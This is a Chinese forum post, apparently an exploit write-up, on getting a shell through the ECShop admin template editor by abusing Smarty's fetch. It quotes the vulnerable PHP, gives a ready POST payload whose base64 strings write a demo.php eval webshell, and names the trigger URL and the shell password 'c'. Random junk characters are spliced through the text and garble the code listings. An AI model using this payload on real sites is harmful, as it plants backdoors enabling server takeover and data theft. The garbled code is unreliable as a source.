Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: A( P3 [, e/ x, H' u9 z; m
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
( u/ l% d4 E# O" N) A9 A7 y6 V但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: o) I; e- t2 n* Z- ]$ {" O( gadmin/template.php

5 P; M9 ]  n! r1 z+ N1 if ($_REQUEST['act'] == 'update_library')

7 Y9 G1 p/ D( U2   

3 {

* m- t( {$ ~: {! a9 u4 R& J4     check_authz_json('library_manage');

0 v% q& b, n& A) f5   
% \: I4 \# L8 c7 Z4 f  A
% j& t0 A/ Q9 ~1 W! S8 X% I# B6     $html = stripslashes(json_str_iconv($_POST['html']));

7   
. m5 n. L" `$ D+ z- k+ w
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

2 g4 N* J7 u0 E) U7 e9   

& ^3 z& E2 b: R, F! E10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  X; q. i  o& \0 p. J0 y
. e8 B  m: p) |1 q2 E% N4 S11   
8 m8 F" w. _0 q
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

- R# m& K# G- g14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
' m2 l" M9 [  }
" n) k% t0 i% i15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

4 g& ?7 q" Q5 \) F  O/ F: c$ f18     }

4 x8 w$ h( H! ^- w4 l19     else
' c  {4 u6 k) \7 T+ i
20     {

5 [- L( H2 R; R1 q# ?21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

23 }
$ ]7 u. V* V8 S
. Q5 @1 T6 j6 g3 u0 Z; @" `那么找个比较方便调用了模板的文件
3 @, }+ |6 N& P9 j+ E# ^$ Findex.php

5 j5 D2 e, m  Q1 if ($act == 'cat_rec')
. J7 J: Z: u2 U3 C& ?; L$ v
2   
/ R* F/ t0 x% y4 b, j) X
" P/ U, }! `- `3 {
, ^6 j6 Y. k3 N, }5 |
4   
0 T) c8 J' p- \* O  f
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ d9 b9 g4 u" _$ M# V5 J$ d3 C- J7 I
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- x1 c& S/ E/ d1 ^# N0 |
8 H( }' C( I4 u' Z  U$ c8   

  V# m) b" y& D8 o6 N9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
. S/ @8 T$ ^+ ?: W# t+ E/ L' c
11     include_once('includes/cls_json.php');

12   

2 P, h2 @8 ~2 J1 J( e  O2 r( _9 P13     $json = new JSON;
; B- e3 Y! h0 w! X' \  |1 t0 b; w
  T+ u6 m# K6 a$ _14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

/ k. b+ h& G5 \. I# ~0 R! {7 W16   
2 q0 E/ T/ v1 q
17     $children = get_children($cat_id);

18   
$ ^' A  M% E9 K! D
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
( T: B( R8 a. \: C7 m; a
20   

21     $smarty->assign('cat_rec_sign', 1);
: S+ u2 I. X0 h, d
8 L0 f% y& D; u' _' p7 q/ ?5 }' t22   
% {2 H5 v% s' w# t3 f& P2 x/ L  `
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 q; V- c( {0 ?, b* s, J
* L# I5 x& G  B5 G24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

$ K: q( P6 D  b# J- u- N- _4 [% ~" W27         echo $rec_array[$rec_type];
$ G# H( z6 c  @( _! [) N* b5 Y
28   
9 B% Y/ D6 v" {! w) D
* h5 l( ]  A5 W29     die($json->encode($result));
5 k( u2 Z* _2 w1 L/ W0 Q& Q5 R
30   
- f5 _# V2 |3 O7 ~
, \! B- G2 A  ^7 v$ ]8 h& K- r+ c6 Z31 }

. X; E- F# W( L! d& c4 [7 w那么就有利用方法了
" t; |/ R; S+ P- U# [  f% q% l5 f& O) Qpost包到http://localhost/ec/admin/template.php?act=update_library
4 _, B# R% K; h' PPost内容：
6 x2 n. G2 o# X- _- U- x: L7 m
: ~1 W7 K' B  ?4 X* g# O9 S​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
% f" |; Y9 {) w/ N. C; Y
shel地址：http://localhost/ec/demo.php
& E, y) W% U  L: V密码c
5 N  p9 e- o% q" f